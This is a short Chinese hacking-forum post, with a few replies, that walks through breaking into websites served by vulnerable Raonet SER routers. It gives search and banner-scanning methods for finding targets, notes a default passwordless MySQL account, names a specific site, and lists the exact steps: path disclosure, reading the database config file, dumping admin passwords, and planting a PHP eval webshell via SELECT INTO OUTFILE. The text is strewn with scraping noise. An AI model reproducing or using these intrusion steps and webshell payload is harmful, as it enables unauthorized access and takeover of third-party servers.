利用某路由器漏洞入侵国外站点

admin

  寻找存在漏洞的路由器方法：
9 X7 _0 V& B6 G/ Q$ _
1：google搜索'Raonet Subscriber Ethernet Router'

; j; Q3 S0 d; Z* d; R# c2：使用WebDAVScan扫80端口，http banner为thttpd/2.21b 23apr2001
- |4 M6 ]/ z% U; o- w
3：扫mysql版本号判断,SER系列路由器使用的mysql版本4.0.14，默认有一个高权限的帐户mysql，口令为空。
, g- O, w7 A, \  Y% c/ h9 i
//还有很多方法可以批量获取,这里不发了,请自食其力 公开了大家都玩不成......
2 j6 l, G. r( b5 {: ^7 }+ Y1 Y
1 F7 b! L1 h2 I  Z

) l! Q  n( k" N入侵步骤：
& V' J! @+ L5 X0 c: ^4 u8 {/ w
1.爆web路径，http://www.yu1u.org/src/jpgraph_line.php
7 _8 }2 j& p3 ]* C: }* H( P
2:查看数据库配置文件，http://www.yu1u.org/inc/conn_db.inc
3：得到密码后连接，查看GUI管理密码：
use ser_500
select id,passwd from user;
4:通过数据库写入webshell，执行命令：
5 D4 v% ]* {. x' J. P' cuse mysql;
create table ok(cmd TEXT);
& i8 K  G, O4 d- @6 {9 P& b9 C! T* V' Ginsert into ok values("<?php @eval($_POST[cmd])?>");
select * from ok into outfile "\/usr\/local\/www\/data\/src\/shell.php";
. z  S6 ]8 R# I1 Y  V. Ndrop table ok;
/ I) [6 u7 ^4 n$ \( K
: e% Q5 g# ~. y3 B/ O7 V- C2 l5:连接后门shell.php

3 `6 q" Y5 H. `' i6. 搞定！
' j6 _: D2 E5 J8 a  l: ?

Anthony~

这个后果可以很严重的说

jos666

不错哦，黑服务器补洞。。